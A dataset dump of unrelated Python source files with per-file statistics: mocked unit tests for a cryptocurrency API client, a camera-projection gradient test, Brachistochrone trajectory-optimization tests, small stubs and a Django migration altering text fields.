True, 'transfer': 'wrong-type'} account.sell('1.0') with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transfer-key': True} account.sell('1.0') data = {'success': True, 'transfer': {'id': 'transferid'}} transfer = account.sell('1.0') self.assertIsInstance(transfer, Transfer) class TestButton(unittest2.TestCase): @hp.activate def test_get_orders(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' initial_name = 'name' initial_price_string = '12.0' initial_price_currency_iso = 'USD' button = account.load({ 'button': { 'id': '1', 'name': initial_name, 'price_string': initial_price_string, 'price_currency_iso': initial_price_currency_iso, 'code': 'buttoncode', }, }).button def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = { 'total_count': 3, 'current_page': 1, 'num_pages': 1, 'orders': [ {'order': {'id': '1'}}, {'order': {'id': '2'}}, {'order': {'id': '3'}}, ], } response = button.get_orders() self.assertIsInstance(response, APIObject) self.assertEqual(len(response.orders), 3) for order in response.orders: self.assertIsInstance(order, Order) @hp.activate def test_create_order(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' initial_name = 'name' initial_price_string = '12.0' initial_price_currency_iso = 'USD' button = account.load({ 'button': { 'id': '1', 'name': initial_name, 'price_string': initial_price_string, 'price_currency_iso': initial_price_currency_iso, 'code': 'buttoncode', }, }).button def server_response(request, uri, headers): self.assertEqual(request.body.decode(), '') return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) name = 'b-name' price_string = 'b-price' price_currency_iso = 'BTC' with self.assertRaises(APIError): data = { 'success': False, 'order': { 'name': name, 'price_string': price_string, 'price_currency_iso': price_currency_iso, }, } button.create_order() with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'order': 'wrong-type'} button.create_order() with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-order-key': True} button.create_order() data = { 'success': True, 'order': { 'name': name, 'price_string': price_string, 'price_currency_iso': price_currency_iso, }, } order = button.create_order() self.assertIsInstance(order, Order) class TestMoney(unittest2.TestCase): def test_str_representation(self): money = APIObject(None).load({ 'amount': '12.0', 'currency': 'BTC', }) self.assertIsInstance(money, Money) self.assertTrue(str(money).endswith('BTC 12.0')) money2 = APIObject(None).load({ 'amount': '12.0', 'currency': 'BTC', 'foo': 'Bar', }) self.assertIsInstance(money2, Money) self.assertTrue(str(money2).endswith('}')) class TestOrder(unittest2.TestCase): @hp.activate def test_refund(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' order = account.load({ 'order': { 'id': '1', 'custom': 'custom', 'button': { 'id': 'fakeid', 'code': 'acode' }, }, }).order def server_response(request, uri, headers): try: req_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") order_data = req_data.get('order') self.assertIsInstance(order_data, dict) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(UnexpectedDataFormatError): data = {'order': 'wrong-type'} order.refund('USD') with self.assertRaises(UnexpectedDataFormatError): data = {'missing-order-key': True} order.refund('USD') data = {'order': {'id': '1'}} refunded = order.refund('USD') self.assertEqual(refunded, data['order']) self.assertIsInstance(refunded, Order) class TestTransaction(unittest2.TestCase): @hp.activate def test_resend(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' transaction = account.load({'transaction': {'id': '1' }}).transaction def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.PUT, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False} transaction.resend() data = {'success': True} self.assertTrue(transaction.resend()) @hp.activate def test_complete(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' transaction = account.load({'transaction': {'id': '1' }}).transaction def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.PUT, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transaction': {'id': '1'}} transaction.complete() with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'transaction': 'wrong-type'} transaction.complete() with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transaction-key': True} transaction.complete() data = {'success': True, 'transaction': {'id': '1'}} tx = transaction.complete() self.assertIsInstance(tx, Transaction) @hp.activate def test_cancel(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' transaction = account.load({'transaction': {'id': '1' }}).transaction def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.DELETE, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False} transaction.cancel() data = {'success': True} self.assertTrue(transaction.cancel()) class TestTransfer(unittest2.TestCase): @hp.activate def test_commit(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' transfer = account.load({'transfer': {'id': '1' }}).transfer def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transfer': {'id': '1'}} transfer.commit() with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'transfer': 'wrong-type'} transfer.commit() with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transfer-key': True} transfer.commit() data = {'success': True, 'transfer': {'id': '1'}} tx = transfer.commit() self.assertIsInstance(tx, Transfer) class TestUser(unittest2.TestCase): @hp.activate def test_modify(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' initial_native_currency = 'USD', initial_time_zone = 'Pacific Time (US & Canada)' initial_name = 'Test User' user = account.load({ 'user': { 'id': '1', 'name': initial_name, 'native_currency': initial_native_currency, 'time_zone': initial_time_zone, }, }).user with self.assertRaises(ValueError): user.modify() def server_response(request, uri, headers): self.assertTrue(uri.endswith(user.id)) try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") user_data = request_data.get('user') self.assertIsInstance(user_data, dict) return (200, headers, json.dumps(data)) hp.register_uri(hp.PUT, re.compile('.*'), body=server_response) with self.assertRaises(APIError): new_name = 'Fake Name' data = { 'success': False, 'user': { 'id': user.id, 'name': new_name, 'native_currency': initial_native_currency, 'time_zone': initial_time_zone, }, } user.modify(name=new_name) self.assertEqual(user.name, initial_name) self.assertEqual(user.native_currency, initial_native_currency) self.assertEqual(user.time_zone, initial_time_zone) with self.assertRaises(UnexpectedDataFormatError): new_name = 'Fake Name' data = {'success': True, 'user': 'wrong-type'} user.modify(name=new_name) self.assertEqual(user.name, initial_name) self.assertEqual(user.native_currency, initial_native_currency) self.assertEqual(user.time_zone, initial_time_zone) with self.assertRaises(UnexpectedDataFormatError): new_name = 'Fake Name' data = {'success': True, 'missing-user-key': True} user.modify(name=new_name) self.assertEqual(user.name, initial_name) self.assertEqual(user.native_currency, initial_native_currency) self.assertEqual(user.time_zone, initial_time_zone) new_name = 'Fake Name' new_native_currency = 'CAD' new_time_zone = 'Eastern' data = { 'success': True, 'user': { 'id': user.id, 'name': new_name, 'native_currency': new_native_currency, 'time_zone': new_time_zone, }, } user.modify(name=new_name, time_zone=new_time_zone, native_currency=new_native_currency) self.assertEqual(user.name, new_name) self.assertEqual(user.native_currency, new_native_currency) self.assertEqual(user.time_zone, new_time_zone)
34.512708
80
0.655832
4,454
39,379
5.641446
0.051414
0.02356
0.058901
0.064472
0.851276
0.824412
0.80316
0.79329
0.756238
0.732559
0
0.008397
0.207649
39,379
1,140
81
34.542982
0.796904
0.006552
0
0.750258
0
0
0.118864
0.00294
0
0
0
0
0.198142
1
0.06192
false
0
0.022704
0
0.123839
0.001032
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
257de02e8f06eb8c198865df2480eb6ad836905c
86
py
Python
tests/.test_find_apps.py@neomake_12148_72.py
jeffbuttars/apistar-autoapp
0c00d7650cfa860eeab71e58fd5b30cd04a3f1a1
[ "Apache-2.0" ]
5
2018-05-30T12:47:18.000Z
2018-06-17T07:11:11.000Z
tests/.test_find_apps.py@neomake_12148_72.py
jeffbuttars/apistar-autoapp
0c00d7650cfa860eeab71e58fd5b30cd04a3f1a1
[ "Apache-2.0" ]
3
2018-05-23T14:20:20.000Z
2021-06-01T22:21:46.000Z
tests/.test_find_apps.py@neomake_12148_72.py
jeffbuttars/apistar-autoapp
0c00d7650cfa860eeab71e58fd5b30cd04a3f1a1
[ "Apache-2.0" ]
null
null
null
from apistar_autoapp.autoapp import find_apps def test_find_apps(): assert True
14.333333
45
0.790698
13
86
4.923077
0.769231
0.25
0
0
0
0
0
0
0
0
0
0
0.162791
86
5
46
17.2
0.888889
0
0
0
0
0
0
0
0
0
0
0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
2589348c18ac908626fa3b7d55b7230e1f5ba8c8
37
py
Python
SortQues/__init__.py
ylyzty/leecode_study
8ea3c378a8d06f9f376ec57a553cf61592e3e1f5
[ "MIT" ]
null
null
null
SortQues/__init__.py
ylyzty/leecode_study
8ea3c378a8d06f9f376ec57a553cf61592e3e1f5
[ "MIT" ]
null
null
null
SortQues/__init__.py
ylyzty/leecode_study
8ea3c378a8d06f9f376ec57a553cf61592e3e1f5
[ "MIT" ]
null
null
null
# Author: LZY # Time: 2022/3/9 21:19
12.333333
22
0.621622
8
37
2.875
1
0
0
0
0
0
0
0
0
0
0
0.333333
0.189189
37
2
23
18.5
0.433333
0.864865
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
25ccf674572a0100c4a72db6d37242d8672d81ef
49
py
Python
04_pytest/hello.py
covrebo/python100
758233f9a52b2ffae8cd5c44e6794aceb1fd1614
[ "MIT" ]
null
null
null
04_pytest/hello.py
covrebo/python100
758233f9a52b2ffae8cd5c44e6794aceb1fd1614
[ "MIT" ]
1
2021-05-11T02:03:56.000Z
2021-05-11T02:03:56.000Z
04_pytest/hello.py
covrebo/python100
758233f9a52b2ffae8cd5c44e6794aceb1fd1614
[ "MIT" ]
null
null
null
def hello_name(name): return f'hello, {name}'
24.5
27
0.673469
8
49
4
0.625
0.5625
0
0
0
0
0
0
0
0
0
0
0.163265
49
2
27
24.5
0.780488
0
0
0
0
0
0.26
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
d32650423c361db0abb3400ac136b36eff465c31
8,047
py
Python
test/test-py-gradients.py
angrycaptain19/mrcal
986e66892411a21fa023c5354f70d575662e7cb1
[ "Apache-2.0" ]
80
2021-02-23T19:50:49.000Z
2022-03-29T08:05:56.000Z
test/test-py-gradients.py
dkogan/mrcal
ca4678e1171841fd9cd158b87ee460163647b495
[ "Apache-2.0" ]
2
2021-03-26T10:44:09.000Z
2021-06-23T21:14:10.000Z
test/test-py-gradients.py
angrycaptain19/mrcal
986e66892411a21fa023c5354f70d575662e7cb1
[ "Apache-2.0" ]
8
2021-02-23T13:34:18.000Z
2021-11-09T13:33:28.000Z
#!/usr/bin/python3 r'''Tests gradients reported by the python code This is conceptually similar to test-gradients.py, but here I validate the python code path ''' import sys import numpy as np import numpysane as nps import os testdir = os.path.dirname(os.path.realpath(__file__)) # I import the LOCAL mrcal since that's what I'm testing sys.path[:0] = f"{testdir}/..", import mrcal import testutils intrinsics = \ ( ('LENSMODEL_PINHOLE', np.array((1512., 1112, 500., 333.))), ('LENSMODEL_STEREOGRAPHIC', np.array((1512., 1112, 500., 333.))), ('LENSMODEL_OPENCV4', np.array((1512., 1112, 500., 333., -0.012, 0.035, -0.001, 0.002))), ('LENSMODEL_CAHVOR', np.array((4842.918,4842.771,1970.528,1085.302, -0.001, 0.002, -0.637, -0.002, 0.016))), ('LENSMODEL_SPLINED_STEREOGRAPHIC_order=3_Nx=11_Ny=8_fov_x_deg=200', np.array([ 1900, 1800, 1499.5,999.5, 2.017284705,1.242204557,2.053514381,1.214368063,2.0379067,1.212609628, 2.033278227,1.183689487,2.040018023,1.188554431,2.069146825,1.196304649, 2.085708658,1.186478238,2.065787617,1.163377825,2.086372192,1.138856716, 2.131609155,1.125678279,2.128812604,1.120525061,2.00841491,1.21864154, 2.024522768,1.239588759,2.034947935,1.19814079,2.065474055,1.19897294, 2.044562395,1.200557321,2.087714092,1.160440038,2.086478691,1.151822407, 2.112862582,1.147567288,2.101575718,1.146312256,2.10056469,1.157015327, 2.113488262,1.111679758,2.019837901,1.244168216,2.025847768,1.215633807, 2.041980956,1.205751212,2.075077056,1.199787561,2.070877831,1.203261678, 2.067244278,1.184705736,2.082225077,1.185558149,2.091519961,1.17501817, 2.120258866,1.137775228,2.120020747,1.152409316,2.121870228,1.113069319, 2.043650555,1.247757041,2.019661062,1.230723629,2.067917203,1.209753396, 2.035034141,1.219514335,2.045350268,1.178474255,2.046346049,1.169372592, 2.097839998,1.194836758,2.112724938,1.172186377,2.110996386,1.154899043, 2.128456883,1.133228404,2.122513384,1.131717886,2.044279196,1.233288366, 2.023197297,1.230118703,2.06707694,1.199998862,2.044147271,1.191607451, 2.058590053,1.1677808,2.081593501,1.182074581,2.08663053,1.159156329, 2.084329086,1.157727374,2.073666528,1.151261965,2.114290905,1.144710519, 2.138600912,1.119405248,2.016299528,1.206147494,2.029434175,1.211507857, 2.057936091,1.19801196,2.035691392,1.174035359,2.084718618,1.203604729, 2.085910021,1.158385222,2.080800068,1.150199852,2.087991586,1.162019581, 2.094754507,1.151061493,2.115144642,1.154299799,2.107014195,1.127608146, 2.005632475,1.238607328,2.02033157,1.202101384,2.061021703,1.214868271, 2.043015135,1.211903685,2.05291186,1.188092787,2.09486724,1.179277314, 2.078230124,1.186273023,2.077743945,1.148028845,2.081634186,1.131207467, 2.112936851,1.126412871,2.113220553,1.114991063,2.017901873,1.244588667, 2.051238803,1.201855728,2.043256406,1.216674722,2.035286046,1.178380907, 2.08028318,1.178783085,2.051214271,1.173560417,2.059298121,1.182414688, 2.094607679,1.177960959,2.086998287,1.147371259,2.12029442,1.138197348, 2.138994213, 1.114846113,])), ('LENSMODEL_SPLINED_STEREOGRAPHIC_order=2_Nx=11_Ny=8_fov_x_deg=200', np.array([ 1900, 1800, 1499.5,999.5, 2.017284705,1.242204557,2.053514381,1.214368063,2.0379067,1.212609628, 2.033278227,1.183689487,2.040018023,1.188554431,2.069146825,1.196304649, 2.085708658,1.186478238,2.065787617,1.163377825,2.086372192,1.138856716, 2.131609155,1.125678279,2.128812604,1.120525061,2.00841491,1.21864154, 2.024522768,1.239588759,2.034947935,1.19814079,2.065474055,1.19897294, 2.044562395,1.200557321,2.087714092,1.160440038,2.086478691,1.151822407, 2.112862582,1.147567288,2.101575718,1.146312256,2.10056469,1.157015327, 2.113488262,1.111679758,2.019837901,1.244168216,2.025847768,1.215633807, 2.041980956,1.205751212,2.075077056,1.199787561,2.070877831,1.203261678, 2.067244278,1.184705736,2.082225077,1.185558149,2.091519961,1.17501817, 2.120258866,1.137775228,2.120020747,1.152409316,2.121870228,1.113069319, 2.043650555,1.247757041,2.019661062,1.230723629,2.067917203,1.209753396, 2.035034141,1.219514335,2.045350268,1.178474255,2.046346049,1.169372592, 2.097839998,1.194836758,2.112724938,1.172186377,2.110996386,1.154899043, 2.128456883,1.133228404,2.122513384,1.131717886,2.044279196,1.233288366, 2.023197297,1.230118703,2.06707694,1.199998862,2.044147271,1.191607451, 2.058590053,1.1677808,2.081593501,1.182074581,2.08663053,1.159156329, 2.084329086,1.157727374,2.073666528,1.151261965,2.114290905,1.144710519, 2.138600912,1.119405248,2.016299528,1.206147494,2.029434175,1.211507857, 2.057936091,1.19801196,2.035691392,1.174035359,2.084718618,1.203604729, 2.085910021,1.158385222,2.080800068,1.150199852,2.087991586,1.162019581, 2.094754507,1.151061493,2.115144642,1.154299799,2.107014195,1.127608146, 2.005632475,1.238607328,2.02033157,1.202101384,2.061021703,1.214868271, 2.043015135,1.211903685,2.05291186,1.188092787,2.09486724,1.179277314, 2.078230124,1.186273023,2.077743945,1.148028845,2.081634186,1.131207467, 2.112936851,1.126412871,2.113220553,1.114991063,2.017901873,1.244588667, 2.051238803,1.201855728,2.043256406,1.216674722,2.035286046,1.178380907, 2.08028318,1.178783085,2.051214271,1.173560417,2.059298121,1.182414688, 2.094607679,1.177960959,2.086998287,1.147371259,2.12029442,1.138197348, 2.138994213, 1.114846113,]))) # a few points, some wide, some not. None behind the camera p = np.array(((1.0, 2.0, 10.0), (-1.1, 0.3, 1.0), (-0.9, -1.5, 1.0))) delta = 1e-6 for i in intrinsics: q,dq_dp,dq_di = mrcal.project(p, *i, get_gradients=True) Nintrinsics = mrcal.lensmodel_num_params(i[0]) testutils.confirm_equal(dq_di.shape[-1], Nintrinsics, msg=f"{i[0]}: Nintrinsics match for {i[0]}") if Nintrinsics != dq_di.shape[-1]: continue for ivar in range(dq_dp.shape[-1]): # center differences p1 = p.copy() p1[..., ivar] = p[..., ivar] - delta/2 q1 = mrcal.project(p1, *i, get_gradients=False) p1[..., ivar] += delta q2 = mrcal.project(p1, *i, get_gradients=False) dq_dp_observed = (q2 - q1) / delta dq_dp_reported = dq_dp[..., ivar] testutils.confirm_equal(dq_dp_reported, dq_dp_observed, eps=1e-5, msg=f"{i[0]}: dq_dp matches for var {ivar}") for ivar in range(dq_di.shape[-1]): # center differences i1 = i[1].copy() i1[..., ivar] = i[1][..., ivar] - delta/2 q1 = mrcal.project(p, i[0], i1, get_gradients=False) i1[..., ivar] += delta q2 = mrcal.project(p, i[0], i1, get_gradients=False) dq_di_observed = (q2 - q1) / delta dq_di_reported = dq_di[..., ivar] testutils.confirm_equal(dq_di_reported, dq_di_observed, eps=1e-5, msg=f"{i[0]}: dq_di matches for var {ivar}") testutils.finish()
54.371622
90
0.624705
1,103
8,047
4.503173
0.283772
0.008053
0.01369
0.00906
0.820213
0.774512
0.765452
0.740487
0.740487
0.717938
0
0.600195
0.234125
8,047
147
91
54.741497
0.205744
0.037902
0
0.542373
0
0
0.041527
0.019534
0
0
0
0
0
1
0
false
0
0.050847
0
0.050847
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
d3af719013ee467bac2fe1a6800ce2f82c9dd414
10,006
py
Python
dymos/examples/brachistochrone/test/test_brachistochrone_vector_boundary_constraints.py
naylor-b/dymos
56ee72041056ae20c3332d060e291c4da93844b1
[ "Apache-2.0" ]
null
null
null
dymos/examples/brachistochrone/test/test_brachistochrone_vector_boundary_constraints.py
naylor-b/dymos
56ee72041056ae20c3332d060e291c4da93844b1
[ "Apache-2.0" ]
null
null
null
dymos/examples/brachistochrone/test/test_brachistochrone_vector_boundary_constraints.py
naylor-b/dymos
56ee72041056ae20c3332d060e291c4da93844b1
[ "Apache-2.0" ]
null
null
null
from __future__ import print_function, division, absolute_import import unittest import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt from openmdao.api import Problem, Group, ScipyOptimizeDriver, DirectSolver from openmdao.utils.assert_utils import assert_rel_error from dymos import Phase, GaussLobatto, Radau, RungeKutta from dymos.examples.brachistochrone.brachistochrone_vector_states_ode \ import BrachistochroneVectorStatesODE SHOW_PLOTS = True class TestBrachistochroneVectorBoundaryConstraints(unittest.TestCase): def test_brachistochrone_vector_boundary_constraints_radau_no_indices(self): p = Problem(model=Group()) p.driver = ScipyOptimizeDriver() p.driver.options['dynamic_simul_derivs'] = True phase = Phase(ode_class=BrachistochroneVectorStatesODE, transcription=Radau(num_segments=20, order=3)) p.model.add_subsystem('phase0', phase) phase.set_time_options(fix_initial=True, duration_bounds=(.5, 10)) phase.set_state_options('pos', fix_initial=True, fix_final=False) phase.set_state_options('v', fix_initial=True, fix_final=False) phase.add_control('theta', continuity=True, rate_continuity=True, units='deg', lower=0.01, upper=179.9) phase.add_design_parameter('g', units='m/s**2', opt=False, val=9.80665) phase.add_boundary_constraint('pos', loc='final', equals=[10, 5]) # Minimize time at the end of the phase phase.add_objective('time', loc='final', scaler=10) p.model.linear_solver = DirectSolver() p.setup(check=True, force_alloc_complex=True) p['phase0.t_initial'] = 0.0 p['phase0.t_duration'] = 2.0 pos0 = [0, 10] posf = [10, 5] p['phase0.states:pos'] = phase.interpolate(ys=[pos0, posf], nodes='state_input') p['phase0.states:v'] = phase.interpolate(ys=[0, 9.9], nodes='state_input') p['phase0.controls:theta'] = phase.interpolate(ys=[5, 100], nodes='control_input') p['phase0.design_parameters:g'] = 9.80665 p.run_driver() assert_rel_error(self, p.get_val('phase0.time')[-1], 1.8016, tolerance=1.0E-3) # Plot results if SHOW_PLOTS: p.run_driver() exp_out = phase.simulate(times_per_seg=10) fig, ax = plt.subplots() fig.suptitle('Brachistochrone Solution') x_imp = p.get_val('phase0.timeseries.states:pos')[:, 0] y_imp = p.get_val('phase0.timeseries.states:pos')[:, 1] x_exp = exp_out.get_val('phase0.timeseries.states:pos')[:, 0] y_exp = exp_out.get_val('phase0.timeseries.states:pos')[:, 1] ax.plot(x_imp, y_imp, 'ro', label='implicit') ax.plot(x_exp, y_exp, 'b-', label='explicit') ax.set_xlabel('x (m)') ax.set_ylabel('y (m)') ax.grid(True) ax.legend(loc='upper right') fig, ax = plt.subplots() fig.suptitle('Brachistochrone Solution') x_imp = p.get_val('phase0.timeseries.time') y_imp = p.get_val('phase0.timeseries.control_rates:theta_rate2') x_exp = exp_out.get_val('phase0.timeseries.time') y_exp = exp_out.get_val('phase0.timeseries.control_rates:theta_rate2') ax.plot(x_imp, y_imp, 'ro', label='implicit') ax.plot(x_exp, y_exp, 'b-', label='explicit') ax.set_xlabel('time (s)') ax.set_ylabel('theta rate2 (rad/s**2)') ax.grid(True) ax.legend(loc='lower right') plt.show() return p def test_brachistochrone_vector_boundary_constraints_radau_full_indices(self): p = Problem(model=Group()) p.driver = ScipyOptimizeDriver() p.driver.options['dynamic_simul_derivs'] = True phase = Phase(ode_class=BrachistochroneVectorStatesODE, transcription=Radau(num_segments=20, order=3)) p.model.add_subsystem('phase0', phase) phase.set_time_options(fix_initial=True, duration_bounds=(.5, 10)) phase.set_state_options('pos', fix_initial=True, fix_final=False) phase.set_state_options('v', fix_initial=True, fix_final=False) phase.add_control('theta', continuity=True, rate_continuity=True, units='deg', lower=0.01, upper=179.9) phase.add_design_parameter('g', units='m/s**2', opt=False, val=9.80665) phase.add_boundary_constraint('pos', loc='final', equals=[10, 5], indices=[0, 1]) # Minimize time at the end of the phase phase.add_objective('time', loc='final', scaler=10) p.model.linear_solver = DirectSolver() p.setup(check=True, force_alloc_complex=True) p['phase0.t_initial'] = 0.0 p['phase0.t_duration'] = 2.0 pos0 = [0, 10] posf = [10, 5] p['phase0.states:pos'] = phase.interpolate(ys=[pos0, posf], nodes='state_input') p['phase0.states:v'] = phase.interpolate(ys=[0, 9.9], nodes='state_input') p['phase0.controls:theta'] = phase.interpolate(ys=[5, 100], nodes='control_input') p['phase0.design_parameters:g'] = 9.80665 p.run_driver() assert_rel_error(self, p.get_val('phase0.time')[-1], 1.8016, tolerance=1.0E-3) # Plot results if SHOW_PLOTS: p.run_driver() exp_out = phase.simulate(times_per_seg=10) fig, ax = plt.subplots() fig.suptitle('Brachistochrone Solution') x_imp = p.get_val('phase0.timeseries.states:pos')[:, 0] y_imp = p.get_val('phase0.timeseries.states:pos')[:, 1] x_exp = exp_out.get_val('phase0.timeseries.states:pos')[:, 0] y_exp = exp_out.get_val('phase0.timeseries.states:pos')[:, 1] ax.plot(x_imp, y_imp, 'ro', label='implicit') ax.plot(x_exp, y_exp, 'b-', label='explicit') ax.set_xlabel('x (m)') ax.set_ylabel('y (m)') ax.grid(True) ax.legend(loc='upper right') fig, ax = plt.subplots() fig.suptitle('Brachistochrone Solution') x_imp = p.get_val('phase0.timeseries.time') y_imp = p.get_val('phase0.timeseries.control_rates:theta_rate2') x_exp = exp_out.get_val('phase0.timeseries.time') y_exp = exp_out.get_val('phase0.timeseries.control_rates:theta_rate2') ax.plot(x_imp, y_imp, 'ro', label='implicit') ax.plot(x_exp, y_exp, 'b-', label='explicit') ax.set_xlabel('time (s)') ax.set_ylabel('theta rate2 (rad/s**2)') ax.grid(True) ax.legend(loc='lower right') plt.show() return p def test_brachistochrone_vector_boundary_constraints_radau_partial_indices(self): p = Problem(model=Group()) p.driver = ScipyOptimizeDriver() p.driver.options['dynamic_simul_derivs'] = True phase = Phase(ode_class=BrachistochroneVectorStatesODE, transcription=Radau(num_segments=20, order=3)) p.model.add_subsystem('phase0', phase) phase.set_time_options(fix_initial=True, duration_bounds=(.5, 10)) phase.set_state_options('pos', fix_initial=True, fix_final=[True, False]) phase.set_state_options('v', fix_initial=True, fix_final=False) phase.add_control('theta', continuity=True, rate_continuity=True, units='deg', lower=0.01, upper=179.9) phase.add_design_parameter('g', units='m/s**2', opt=False, val=9.80665) phase.add_boundary_constraint('pos', loc='final', equals=5, indices=[1]) # Minimize time at the end of the phase phase.add_objective('time', loc='final', scaler=10) p.model.linear_solver = DirectSolver() p.setup(check=True, force_alloc_complex=True) p['phase0.t_initial'] = 0.0 p['phase0.t_duration'] = 2.0 pos0 = [0, 10] posf = [10, 5] p['phase0.states:pos'] = phase.interpolate(ys=[pos0, posf], nodes='state_input') p['phase0.states:v'] = phase.interpolate(ys=[0, 9.9], nodes='state_input') p['phase0.controls:theta'] = phase.interpolate(ys=[5, 100], nodes='control_input') p['phase0.design_parameters:g'] = 9.80665 p.run_driver() assert_rel_error(self, p.get_val('phase0.time')[-1], 1.8016, tolerance=1.0E-3) # Plot results if SHOW_PLOTS: p.run_driver() exp_out = phase.simulate(times_per_seg=20) fig, ax = plt.subplots() fig.suptitle('Brachistochrone Solution') x_imp = p.get_val('phase0.timeseries.states:pos')[:, 0] y_imp = p.get_val('phase0.timeseries.states:pos')[:, 1] x_exp = exp_out.get_val('phase0.timeseries.states:pos')[:, 0] y_exp = exp_out.get_val('phase0.timeseries.states:pos')[:, 1] ax.plot(x_imp, y_imp, 'ro', label='implicit') ax.plot(x_exp, y_exp, 'b-', label='explicit') ax.set_xlabel('x (m)') ax.set_ylabel('y (m)') ax.grid(True) ax.legend(loc='upper right') fig, ax = plt.subplots() fig.suptitle('Brachistochrone Solution') x_imp = p.get_val('phase0.timeseries.time') y_imp = p.get_val('phase0.timeseries.control_rates:theta_rate2') x_exp = exp_out.get_val('phase0.timeseries.time') y_exp = exp_out.get_val('phase0.timeseries.control_rates:theta_rate2') ax.plot(x_imp, y_imp, 'ro', label='implicit') ax.plot(x_exp, y_exp, 'b-', label='explicit') ax.set_xlabel('time (s)') ax.set_ylabel('theta rate2 (rad/s**2)') ax.grid(True) ax.legend(loc='lower right') plt.show() return p if __name__ == '__main__': unittest.main()
34.986014
90
0.609234
1,328
10,006
4.38253
0.125753
0.027835
0.05567
0.090722
0.91134
0.91134
0.91134
0.902406
0.902406
0.902406
0
0.034061
0.248851
10,006
285
91
35.108772
0.740287
0.015191
0
0.879121
0
0
0.18757
0.088047
0
0
0
0
0.021978
1
0.016484
false
0
0.043956
0
0.082418
0.005495
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6ca08eecbbc1a7ca66613625342523225a022304
1,785
py
Python
food/migrations/0002_auto_20180218_1205.py
Pantura/fodmap-db
14ad68c902c3a62ea358c51b9c0bd0ec32aea2d1
[ "MIT" ]
1
2019-02-14T01:46:16.000Z
2019-02-14T01:46:16.000Z
food/migrations/0002_auto_20180218_1205.py
Pantura/fodmap-db
14ad68c902c3a62ea358c51b9c0bd0ec32aea2d1
[ "MIT" ]
null
null
null
food/migrations/0002_auto_20180218_1205.py
Pantura/fodmap-db
14ad68c902c3a62ea358c51b9c0bd0ec32aea2d1
[ "MIT" ]
null
null
null
# Generated by Django 2.0.2 on 2018-02-18 12:05 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('food', '0001_initial'), ] operations = [ migrations.AlterField( model_name='food', name='name', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='food', name='name_en', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='food', name='name_fi', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='food', name='notes', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='food', name='notes_en', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='food', name='notes_fi', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='foodcategory', name='name', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='foodcategory', name='name_en', field=models.TextField(blank=True, default='', null=True), ), migrations.AlterField( model_name='foodcategory', name='name_fi', field=models.TextField(blank=True, default='', null=True), ), ]
30.254237
70
0.536695
168
1,785
5.607143
0.214286
0.191083
0.238854
0.27707
0.853503
0.853503
0.853503
0.818471
0.818471
0.818471
0
0.015833
0.327731
